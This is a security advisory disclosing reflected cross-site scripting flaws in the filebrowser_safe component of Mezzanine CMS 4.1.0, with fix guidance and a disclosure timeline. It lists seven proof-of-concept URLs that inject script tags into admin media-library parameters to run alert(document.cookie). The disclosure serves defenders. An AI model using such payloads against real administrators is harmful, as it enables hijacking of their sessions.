[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MEZZANINE-CMS-XSS.txt Vendor: =================== mezzanine.jupo.org Product: ================ Mezzanine 4.1.0 Mezzanine is an open source CMS built using the python based Django framework. Vulnerability Type: =================== XSS CVE Reference: ============== N/A Vulnerability Details: ===================== XSS entry points exists within the filebrowser_safe package. In many areas throughout filebrowser, querystring parameters are passed directly into templates to form URLS for links and forms, and these were not being escaped correctly, therefore allowing arbitrary JavaScript code to be injected. In order to exploit this, a attacker would need to trick an authenticated administrator into clicking a malicious link or viewing a malicious web page containing the XSS payload. Resolution: Upgrade right away (pip install -U filebrowser_safe). If for some reason you're unable to upgrade seamlessly, here is the fix which you need to apply: https://github.com/stephenmcd/filebrowser-safe/commit/14b30017d27ca6a952e1578ed8cecbb102979967 Exploit code(s): =============== XSS 1) http://localhost:8000/admin/media-library/rename/?ot=desc&o=date&filename=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E XSS 2) http://localhost:8000/admin/media-library/rename/?ot=desc&o=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&filename= XSS 3) http://localhost:8000/admin/media-library/rename/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&o=&filename= XSS 4) http://localhost:8000/admin/media-library/browse/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&dir=gallery&o=date XSS 5) http://localhost:8000/admin/media-library/upload/?ot=desc&dir=gallery&o=%3C%2Fscript%3E%3Cscript%3Ealert%28666%29%3C%2Fscript%3E XSS 6) http://localhost:8000/admin/media-library/upload/?ot=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS hyp3rlinx%27%29%3C%2Fscript%3E&dir=gallery&o=date XSS 7) http://localhost:8000/admin/media-library/upload//static/filebrowser/uploadify/?=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E Disclosure Timeline: ===================================== Vendor Notification: January 26, 2016 Feburary 2, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High Description: ======================================================= Request Method(s): [+] GET Vulnerable Product: [+] Mezzanine 4.1.0 ======================================================= [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given.
